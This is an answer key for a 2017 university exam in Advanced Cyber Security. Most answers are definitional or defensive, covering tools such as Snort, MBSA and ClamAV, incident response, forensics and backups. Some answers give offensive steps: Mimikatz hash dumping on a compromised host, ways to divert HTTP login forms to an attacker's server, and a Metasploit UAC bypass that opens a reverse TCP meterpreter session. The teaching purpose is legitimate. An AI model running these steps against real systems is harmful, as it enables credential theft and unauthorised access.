III/IV B.tech(Regular)DegreeExamination

Scheme of Evaluation

November,2017 **Information Technology**

Seventh Semester **Advanced Cyber Security**

Time:3hrs **Max.Marks:60**

1.Answer all the following questions **12M**

` **a) What is the need of nmap tool?**

A) nmap(network mapper) tool is used to scan the computers in a network.It gives information about the netwrok topology, Host details such as its operating system, its open ports etc.

b) What is telnet?

A) Telnet is a protocol used on the Internet or local area networks to provide a bidirectional interactive text-oriented communication facility using a virtual terminal.

c) What is keylogger?

A) Keylogger is a tool used to record the keystroke typed on keyboard. It can be used to steal passwords or any other credentials of a user.

d) What is firewall?

A) A firewall is a network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules.

e) What is IDS?

A) An intrusion detection system (IDS) is a device or software application that monitors a network or systems for malicious activity or policy violations.

f) What is MBSA?

A) Microsoft Baseline Security Analyzer (MBSA) is a software tool released by Microsoft to determine security state by assessing missing security updates and less-secure security settings within Microsoft Windows.

g) What is need for IR?

A) Incident response is an organized approach to addressing and managing the aftermath of a security breach or cyberattack, also known as an IT incident, computer incident, or security incident. The goal is to handle the situation in a way that limits damage and reduces recovery time and costs.

h) List out the phases of IR.

A) Preparation,Identification,Containment,Eradication.,Recovery.Lessons Learned.

i) What is FTK imager?

A) The Forensic Toolkit Imager (FTK Imager) is a commercial forensic imaging software package distributed by AccessData.

j) List out types of backup.

A) Full PC backup, incremental backup, differential backup, Mirror backup, Local backup, online backup, offsite backup, remote backup.

k) What is event log?

A) An event log maintains records about various events in the system such as information event, warning event, success audit event, failure audit event.

l**) What is rsync?**

A) rsync is a utility for efficiently transferring and synchronizing files across computer systems, by checking the timestamp and size of files.

UNIT 1

2 a) How to do password attacks using mimikatz?Explain. 6M

A)

Mimikatz: 2M

Mimikatz is a tool to check Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

Steps to do password attacks 4M

Loading Mimikatz:

i) First we need to ensure that our session is running with SYSTEM level privileges for Mimikatz to function properly.

ii) After upgrading our privileges to SYSTEM, we need to verify, with the sysinfo command, what the architecture of the compromised machine is.

iii) Load mimikatz into memory by using the command

load mimikatz

iv) The following command can be used to retrieve clear texts of passwrods

mimikatz_command -f samdump::hashes.

2.b) What is ssh? Explain the functioning of netdiscover tool. 6M

A)

ssh: **2M**

Secure Shell (SSH) is a cryptographic network protocol for operating network services securely over an unsecured network.[1] The best known example application is for remote login to computer systems by users.

SSH provides a secure channel over an unsecured network in a client-server architecture, connecting an SSH client application with an SSH server.[2]Common applications include remote command-line login and remote command execution, but any network service can be secured with SSH.

netdiscover tool: 1M

Netdiscover is an active/passive address reconnaissance tool, mainly developed for those wireless networks without DHCP server, when you are wardriving. It can be also used on hub/switched networks. This tool will allow us to quickly gather IP address on a given network.

Functioning: 2M

Usage: netdiscover [-i device] [-r range | -p] [-s time] [-n node] [-c count] [-f] [-S]

"-i" simply put is the network card

"-r" the range to scan that you will insert on the command later

"-p" send no packets out on the network

"-s" time to sleep between the arp requests simply means how long netdiscover should wait.

"-c" count is the number or arp requests to send each time

"-n" node again this is a number you will insert on the command latter.

"-S" this will prevent netdiscover from "sleeping" between arp requests"

"-f" fast as stated above

In order for netdiscover to work it needs to send out "arp requests" this is the Address Resolution Protocol request.

Ex: netdiscover -i ath0 -r 192.168.1.0/24 **1M**

3 a) How to crack HTTP passwords? Explain in detail. 6M

A)

HTTP passwords: 2M

Passwords that are sent over http protocol are called http passwords. Username and password pairs control access to users' personal data. Websites should handle this information with care and only request passwords over secure (authenticated and encrypted) connections, like HTTPS. Unfortunately, we too frequently see non-secure connections, like HTTP, used to handle user passwords.

Ways to crack HTTP passwords: 4M

->Change the form action so the password submits to an attacker controlled server instead of the intended destination. Then seamlessly redirect to the intended destination, while sending along the stolen password.

->Use javascript to grab the contents of the password field before submission and send it to the attacker's server.

->Use javascript to log the user's keystrokes and send them to the attacker's server.

->Use password cracking tools like THC hydra.

3.b) What is the need of metasploit?Explin windows privilege escalation by bypassing UAC 6M

A)

Metsploit: 1M

It is a tool for developing and executing exploit code against a remote target machine.

Need for Metsploit: 2M

It can be used as penetration testing tool.The basic steps for exploiting a system using the Framework include:

->Choosing and configuring an exploit (code that enters a target system by taking advantage of one of its bugs; about 900 different exploits for Windows, Unix/Linux and Mac OS X systems are included);

->Optionally checking whether the intended target system is susceptible to the chosen exploit;

->Choosing and configuring a payload (code that will be executed on the target system upon successful entry; for instance, a remote shell or a VNC server);

->Choosing the encoding technique so that the intrusion-prevention system (IPS) ignores the encoded payload;

Executing the exploit.

This modular approach – allowing the combination of any exploit with any payload – is the major advantage of the Framework. It facilitates the tasks of attackers, exploit writers and payload writers

Windows privilege Escalation: 3M

->To perform this attack you need to manually add bypass_comhijack exploit inside metasploit framework.

->Copy the entire content of "bypass_comhijack" and paste it in a text document, now save as bypass_comhijack.rb inside the following path:

usr>share>metasploit_framework>modules>exploit>windows>local

->Use the following exploit

use exploit/windows/local/bypassuac_comhijack

Msf exploit (bypassuac_comhijack) > set payload window/x64/meterpreter/reverse_tcp

Msf exploit (bypassuac_comhijack) > set session 2

Msf exploit (bypassuac_comhijack) > set lhost 192.168.0.20

Msf exploit (bypassuac_comhijack) > exploit

UNIT II

4 a) Explain installation procedure for snort tool. 6M

A) Snort: 2M

Snort is a free lightweight network intrusion detection system for both UNIX and Windows.

Installation procedure on Linux: 4M

i). Download and Extract Snort

Download the latest snort free version from snort website. Extract the snort source code to the /usr/src directory as shown below.

```
# cd /usr/src
# wget -O snort-2.8.6.1.tar.gz http://www.snort.org/downloads/116
# tar xvzf snort-2.8.6.1.tar.gz
```

ii). Install Snort

Before installing snort, make sure you have dev packages of libpcap and libpcre.

```
# cd snort-2.8.6.1
# ./configure
# make
# make install
```

iii) Verify the Snort Installation

Verify the installation as shown below.

```
# snort --version
```

iv). Create the required files and directory

We have to create the configuration file, rule file and the log directory.

Create the following directories:

```
# mkdir /etc/snort
# mkdir /etc/snort/rules
# mkdir /var/log/snort
```

v)Create the following snort.conf and icmp.rules files:

```
# cat /etc/snort/snort.conf
include /etc/snort/rules/icmp.rules
# cat /etc/snort/rules/icmp.rules
```

vi) Execute snort

Execute snort from command line, as mentioned below.

```
# snort -c /etc/snort/snort.conf -l /var/log/snort/
```

4.b) Discuss about patch management using MBSA. **6M**

A)

MBSA: **2M**

Microsoft Baseline Security Analyzer (MBSA) checks for available updates to the operating system, Microsoft Data Access Components (MDAC), MSXML (Microsoft XML Parser), .NET Framework, and SQL Server. MBSA also scans a computer for insecure configuration settings. When MBSA checks for Windows service packs and patches, it includes in its scan Windows components, such as Internet Information Services (IIS) and COM+. MBSA uses Microsoft Update and Windows Server Update Services (WSUS) technologies to determine needed updates. This Microsoft Update data source is obtained either directly from the Microsoft Update Web site or, if offline or in a secure environment, from an offline catalog file named Wsusscn2.cab.

Patch management: **4M**

MBSA patch management involves detection, assessment,acquirement, testing , deployment and maintenance of security patches.

The following commands is used to detect missing security patches.

i) mbsacli /i 127.0.0.1 /n OS+IIS+SQL+PASSWORD

ii) mbsacli /c domain\machinename /n OS+IIS+SQL+PASSWORD

iii) mbsacli /r 192.168.0.1-192.168.0.254 /n OS+IIS+SQL+PASSWORD

iv) mbsacli /d NameOfMyDomain /n OS+IIS+SQL+PASSWORD

The missing patches can be identified and further action taken.

5.a) Write a short note on port and traffic. **6M**

A)

Port: **4M**

A network port is a number that identifies one side of a connection between two computers. Computers use port numbers to determine to which process or application a message should be delivered. As network addresses are like street address, port numbers are like suite or room numbers. Any program may use any port, though some port numbers have a standard use and some programs may be limited in which ports they can use for security reasons

The Internet Assigned Numbers Authority (IANA) is responsible for the global coordination of the DNS Root, IP addressing, and other Internet protocol resources. This includes the registration of commonly used port numbers for well-known Internet services.

The port numbers are divided into three ranges

- well-known ports
- registered ports
- the dynamic or private ports

->The well-known ports (also known as system ports) are those from 0 through 1023

-> The registered ports are those from 1024 through 49151.

-> The dynamic or private ports are those from 49152 through 65535

Traffic: 2M

Network traffic or data traffic is the amount of data moving across a network at a given point of time. Network data in computer networks is mostly encapsulated in network packets, which provide the load in the network.

Proper analysis of network traffic provides the organization with the network security as a benefit - unusual amount of traffic in a network is a possible sign of an attack. Network traffic reports provide valuable insights into preventing such attacks.

5.b) How Clam AV is used as antivirus? Explain. 6M

A)

Clam AV: 1M

ClamAV is an open source (GPL) antivirus engine designed for detecting Trojans, viruses, malware and other malicious threats on Linux.

Installing ClamAV 3M

i) Install EPEL repo

Before we can do proceed, you must ensure that you have the EPEL yum repository enabled.

ii) Install required ClamAV packages

yum install clamav clamd

iii) Start the clamd service and set it to auto-start

iv) Update ClamAV's signatures

/usr/bin/freshclam

Configure Daily Scan **2M**

In this example, we will configure a cronjob to scan the /home/ directory every day:

i). Create cron file:

vim /etc/cron.daily/manual_clamscan

:

```
#!/bin/bash
SCAN_DIR="/home"
LOG_FILE="/var/log/clamav/manual_clamscan.log"
/usr/bin/clamscan -i -r $SCAN_DIR >> $LOG_FILE
```

UNIT III

6.a) Write a short note on Pre-Incident preparation and Post Incident activity of IR. **6M**

A)

Pre-Incident preparation phase: **4M**

i)Preparation:

- Develop and Document IR Policies
- Define Communication Guidelines
- Incorporate Threat Intelligence Feeds
- Conduct Cyber Hunting Exercises
- Assess Your Threat Detection Capability

ii) Detection and Reporting:

- Monitor
- Detect
- Alert
- Report

iii) Triage and analysis

- Endpoint Analysis
- Binary Analysis

iv) Containment and Neutralisation

- Coordinated shutdown
- Wipe and Rebuild
- Threat mitigation Requests

Post incident activity: **2M**

- **Complete an Incident Report**
- **Monitor Post-Incident**
- **Update Threat Intelligence**
- **Identify preventative measures**
- **Gain Cross-Functional Buy-In**

6.b) What is IR?Explain its goals. **6M**

A)

Incidence Reponse: **2M**

Incident response is an organized approach to addressing and managing the aftermath of a security breach or cyberattack, also known as an IT incident, computer incident, or security incident.

Goals of Incidence Response: **4M**

The goal of IR is to handle the situation in a way that limits damage and reduces recovery time and costs. Any incident that is not properly contained and handled can -- and usually will -- escalate into a bigger problem that can ultimately lead to a damaging data breach or system collapse. Responding to an incident quickly will help an organization minimize losses, mitigate exploited vulnerabilities, restore services and processes, and reduce the risks that future incidents pose.

Incident response enables an organization to be prepared for the unknown as well as the known and is a reliable method for identifying a security incident immediately when it occurs. Incident response also allows an organization to establish a series of best practices to stop an intrusion before it causes damage. To properly prepare for and address incidents across the business, an organization should form a CSIRT. This team is responsible for analyzing security breaches and responding appropriately.

7.a) Explain about functioning of FTK while to recover the deleted information. 6M

A)

Introduction: 2M

Forensic Toolkit, or FTK, is a computer forensics software made by AccessData. It scans a hard drive looking for various information.[1] It can, for example, locate deleted emails and scan a disk for text strings to use them as a password dictionary to crack encryption.The toolkit also includes a standalone disk imaging program called FTK Imager. The FTK Imager is a simple but concise tool. It saves an image of a hard disk in one file or in segments that may be later on reconstructed.

Recovering deleted information: 4M

->Create disk image for future recovery

->After installing the program, run it. In the window that shall appear, click on the option "File" and "Image Mounting.

->Now select the image file to mount image to drive.

->In the window "Mount Image to Drive", choose the forensic image that shall be mounted and select The Drive letter and click on mount option

->Now, download Recover my file ,after installing, run the program. In the window let´s choose the option "Recover files" and click on next.

->In the next window choose the option "In a specific location" and indicate the mounted drive through FTK Imager. Now click on "Next".

->Now select search for deleted files option and click on start

->Now it will show all the deleted files, which are recovered and now select your desired deleted file and save in your pc.

7.b) How to investigate Unix system based on artifacts?Explain. 6M

A)

Introduction. 2M

Today's technology grows its roots in positive and negatives both directions. Cyber criminals are always get one step ahead then the investigator. Digital forensics in the live environment is the biggest challenge. Aquistion of live artifacts on

running system needs expertise to achieve expected results

Artifacts identified from RAM analysis of System 4M

- > Protected Program details.
- > Running processes and services.
- > System information
- > Registr0y details.
- > ARP cache and network connection
- > Fragments of conversation (chat), communication in social
- > networks
- > Latest web browsing activities including private browsing
- > detail, Webmail system communication
- > Recently viewed multimedia
- > Running malicious codes
- > Passwords of the mail accounts

UNIT IV

8.a) What is data backup?Explain safety checks and features of a good backup strategy.6M

A)

->Data backup: 1M

A data backup is the result of copying or archiving files and folders for the purpose of being able to restore them in case of data loss.

->**Safety checks of data backup: 2M**

i) Ensure your security policies include backup-related systems within their scope.

ii) Include your data backup systems in your disaster recovery and incident response plans.

iii) Store your backups offsite or at least in another building.

iv) Use a fireproof and media-rated safe

-> **Features of good backup strategy: 3M**

- Able to recover from data loss in all circumstances like hard drive failure, virus attacks, theft, accidental deletes or data entry errors, sabotage, fire, flood, earth quakes and other natural disasters.
- Able to recover to an earlier state if necessary like due to data entry errors or accidental deletes.
- Able to recover as quickly as possible with minimum effort, cost and data loss.
- Require minimum ongoing human interaction and maintenance after the initial setup. Hence able to run automated or semi-automated.

8.b) How to use log watch in log management?Explain along with its need. 6M

A)

Log watch: 2M

Log watch is a tool used for Log management.It includes

->Search

->Log Rotation

->Log Retention.

Using LogWatch. 4M

Here are the available options

logwatch [--detail level] [--logfile log-file-group] [--service service-name] [--print] [--mailto address] [--archives] [--range range] [--debug level] [--save file-name] [--logdir directory] [--hostname hostname] [--splithosts] [--multiemail] [--output output- type] [--numeric] [--no-oldfiles-log] [--version] [--help|--usage]

The following is an example command.

logwatch --detail Low --mailto email@address --service http --range today

9.a) Explain about windows event log analysis and response. 6M

A)

Event Logs: 2M

When an operating system works, a lot of events take place in the system. The range of these events is very large and a majority of them can be registered in the system. To register events on the system, there is a powerful mechanism called Event Logging. It presents a standard centralized way, which the operating system and applications use to record important information coming from software and hardware. An event can be something that occurred in the system or in some application, and it is necessary to notify the user. Information about every event should be recorded.

Event log analysis and response **4M**

Benefits of Event log analysis;

->Increased security & awareness of Windows infrastructure with metrics and log data

->Increased Windows server, services, and application availability

->Fast detection of potential attacks on AD (Active Directory)

->Analyse and retain critical logs of Microsoft applications e.g. AD, IIS, MS SQL, Windows Server 2012 etc.

->Meet audit & regulatory compliance with scalable and flexible log processing capabilities

To view the system log in Event Viewer:

->Click Start, point to Programs, point to Administrative Tools, and then click Event Viewer.

->In the console tree, click System Log.

->To sort the log alphabetically and quickly locate an entry for an Exchange service, in the details pane, click Source.

->Double-click a log entry to open an event's properties page.

->To filter the log to list entries for a specific type of SMTP service events, from the View menu, click Filter.

->In System Log Properties, in the Event source list, select SMTPSVC.

->In the Category list, select a specific set of events or, to view all events for the SMTP service, leave the default setting at All.

->Click OK.

9.b) Write a short notes on storage types. **6M**

A) The following are the storage types. **2M**

->Local Storage

->Solid state drive

->Network attached storage.

->USA thumb drive

->optical Drive.

->Cloud storage.

Explaination: **4M**

->Local Storage:

i)Desktop External hard Drive.

ii)Portable External hard drive.

->Solid State Device:

Solid State Drives look and function similar to traditional mechanical/ magnetic hard drives but the similarities stop there. Internally, they are completely different. They have no moving parts or rotating platers. They rely solely on semiconductors and electronics for data storage making it a more reliable and robust than traditional magnetic. No moving parts also means that they use less power than traditional hard drives and are much faster too.

->Network Attached storage:

NAS are simply one or more regular IDE or SATA hard drives plugged in an array storage enclosure and connected to a network Router or Hub through a Ethernet port. Some of these NAS enclosures have ventilating fans to protect the hard drives from overheating.

->USB thumb drive.

These are similar to Solid State Drives except that it is much smaller in size and capacity. They have no moving parts making them quite robust. They are extremely portable and can fit on a keychain. They are Ideal for backing up a small amount of data that need to be brought with you on the go.

Scheme Prepared by HOD,IT

D.Siva Phanindra Prof.N.Siva Ram Prasad